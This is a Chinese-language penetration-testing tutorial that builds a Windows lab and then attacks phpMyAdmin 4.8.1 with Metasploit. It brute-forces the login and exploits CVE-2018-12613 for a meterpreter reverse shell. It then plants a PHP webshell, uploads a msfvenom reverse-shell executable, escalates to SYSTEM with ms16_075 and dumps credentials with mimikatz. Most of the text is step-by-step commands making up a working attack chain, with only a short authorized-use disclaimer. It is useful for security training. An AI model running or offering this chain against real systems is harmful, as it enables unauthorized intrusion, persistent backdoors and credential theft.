利用Metasploit Framework提权
一、快速搭建有限制的测试环境
首先在虚拟机新建一个用户
net user abc 123456.abc /add
使用phpstudy,运行模式切换成系统服务
打开服务,找到Apache2a,先停止,右击属性,登录,此账户,添加个刚刚创建的用户
找到Apache的日志的文件夹,右击属性,安全添加账户,给完成控制权限
接着服务那边就可以开启,phpstudy重启,mysql同理
在www目录搭建phpMyAdmin-4.8.1,这边修改成,666
在物理机访问192.168.2.168/666
二、通过phpMyAdmin的文件包含漏洞拿到Webshell
phpMyAdmin远程文件包含漏洞
漏洞介绍:
phpMyAdmin 是一个以PHP为基础,以Web-Base方式架构在网站主机上的MySQL的数据库管理工具,让管理者可用Web接口管理MySQL数据库。
漏洞描述:
在phpMyAdmin 4.8.x版本中,程序没有严格控制用户的输入,攻击者可以利用双重编码绕过程序的白名单限制,造成文件包含漏洞。
受影响的系统版本:
phpMyAdmin 4.8.0
phpMyAdmin 4.8.1
漏洞编号:CVE-2018-12613
打开kali,启动MSF来爆破用户名和密码
root@kali:~# msfconsole
搜索下phpmyadmin这个模块
msf5 > search phpmyadmin
使用第一个辅助模块,options查看下需要设置什么
msf5 > use 1
msf5 auxiliary(scanner/http/phpmyadmin_login) > options
发现目标地址是空的,远程端口默认80,如果不是默认就需要修改,SSL是https协议的话就需要修改成true
目标地址默认是index.php,但这边的是666需要修改,线程为1,用户默认root,如果不是就需要用字典来爆破
接下来设置目标地址,目标地址URL,字典
msf5 auxiliary(scanner/http/phpmyadmin_login) > set rhosts 192.168.2.168
msf5 auxiliary(scanner/http/phpmyadmin_login) > set targeturi /666/
msf5 auxiliary(scanner/http/phpmyadmin_login) > set userpass_file small.txt
msf5 auxiliary(scanner/http/phpmyadmin_login) > run
MSF爆破的话是会出错的,所以建议burp爆破
接下来使用攻击模块,lfi_rce从本地文件包含到远程命令执行
msf5 auxiliary(scanner/http/phpmyadmin_login) > use 3
msf5 exploit(multi/http/phpmyadmin_lfi_rce) >
设置payload
反向连接tcp,使用meterpreter,options看下需要设置什么
msf5 exploit(multi/http/phpmyadmin_lfi_rce) > show payloads
msf5 exploit(multi/http/phpmyadmin_lfi_rce) > set payload php/meterpreter/reverse_tcp
msf5 exploit(multi/http/phpmyadmin_lfi_rce) > options
发现需要设置目标地址,目标地址URL,密码,本地地址
msf5 exploit(multi/http/phpmyadmin_lfi_rce) > set password root
msf5 exploit(multi/http/phpmyadmin_lfi_rce) > set rhosts 192.168.2.168
msf5 exploit(multi/http/phpmyadmin_lfi_rce) > set targeturi /666/
msf5 exploit(multi/http/phpmyadmin_lfi_rce) > set lhost 192.168.2.250
开始攻击
msf5 exploit(multi/http/phpmyadmin_lfi_rce) > run
看下权限
meterpreter > getuid
meterpreter > shell
whoami,无法执行,权限不够
三、权限提升
使用exp提权补丁进行权限提升,从用户权限到管理员权限
可以写一个木马放进去,再通过webshell管理工具连接
看下当前路径
meterpreter > getwd
meterpreter > edit 1.php
查看下有没有写进去
meterpreter > ls
http://192.168.2.168/666/1.php?6=phpinfo();
打开中国蚁剑连接http://192.168.2.168/666/1.php
找到刚刚上传的木马,1.php,在此处打开终端
查看补丁编号
C:\phpStudy\WWW\666> systeminfo
[01]: KB0000000
[02]: KB0000000
在线比对补丁查找exp:https://bugs.hacking8.com/tiquan/
把补丁拖进去,改名为abc.exe
C:\phpStudy\WWW\666> abc.exe "whoami"
四、MSF提权
使用MSF后渗透测试脚本提权
让目标连接本地,用msfvenom生成一个exe的木马
root@kali:~# msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.2.250 lport=1234 -f exe > shell.exe
生成成功后上传到目标服务器去
meterpreter > upload shell.exe
查看下有没有在服务器
meterpreter >ls,rwx可读可写权限
利用之前的webshell上传,开启监听 ,等待目标机器去连接我们自己
新开一个MSF,为了接收到之前上传的shell.exe传过来的数据
新msf5 > use exploit/multi/handler,开启监听
新msf5 > set payload windows/x64/meterpreter/reverse_tcp,设置payload
新msf5 exploit(multi/handler) > options,查看需要设置什么
需要设置刚刚用msfvenom生成一个exe的木马的本地地址和端口
新msf5 exploit(multi/handler) > set lhost 192.168.2.250
新msf5 exploit(multi/handler) > set lport 1234
新msf5 exploit(multi/handler) > run,开启监听,等待木马把这个数据给发送过来
meterpreter > execute -H -f shell.exe,去执行我们的程序,-H 隐藏执行 -f 指定文件
创建了一个3696的进程
meterpreter > ps,权限不够,看不了
新meterpreter > hashdump,权限不够
使用MSF本地提权信息收集模块
新meterpreter > background ,先把会话放后台
新msf5 exploit(multi/handler) > use post/multi/recon/local_exploit_suggester
新msf5 exploit(multi/recon/local_exploit_suggester) > options,看需要设置什么
新msf5 post(multi/recon/local_exploit_suggester) > set session 1,设置会话,通过会话来信息收集
新msf5 post(multi/recon/local_exploit_suggester) > run
发现有4个补丁,需要一个一个尝试
新msf5 post(multi/recon/local_exploit_suggester) > use exploit/windows/local/ms10_092_schelevator
新msf5 exploit(windows/local/ms10_092_schelevator) > options
新msf5 exploit(windows/local/ms10_092_schelevator) > set session 1,需要设置会话
新msf5 exploit(windows/local/ms10_092_schelevator) > run,发现失败了,尝试第二个
第二三个失败了,尝试第四个
新msf5 exploit(windows/local/ms16_075_reflection) > use exploit/windows/local/ms16_075_reflection_juicy
新msf5 exploit(windows/local/ms16_075_reflection_juicy) > set session 1
新msf5 exploit(windows/local/ms16_075_reflection_juicy) > run
新meterpreter > getuid,看下权限,system权限
新meterpreter > load mimikatz ,加载mimikatz
新meterpreter > kerberos,看下明文,发现不太正常
新meterpreter > ps,查看进程,发现shell.exe进程还在abc中
需要把进程迁移到system下
新meterpreter > migrate 476
新meterpreter > kerberos,成功看到用户凭证
五、Meterpereter常用命令
文件系统命令:
edit -- 编辑文件
getlwd -- 显示本地工作目录
Dir -- 列出目标文件目录
mkdir -- 创建目录
用户界面命令:
getdesktop -- 获取当前的 Meterpreter 桌面
screenshot -- 获取目标桌面屏幕截图
网络、系统命令:
ipconfig – 显示网络接口信息
netstat -- 显示网络连接信息
execute -- 执行命令
ps -- 列出正在运行的进程
sysinfo -- 获取远程系统的有关信息,例如 OS
提权、密码命令:
getsystem -- 尝试将您的权限提升为本地系统的权限
hashdump -- 获取目标 NTLM-HASH 值
声明:请勿用作违法用途,请在授权情况下使用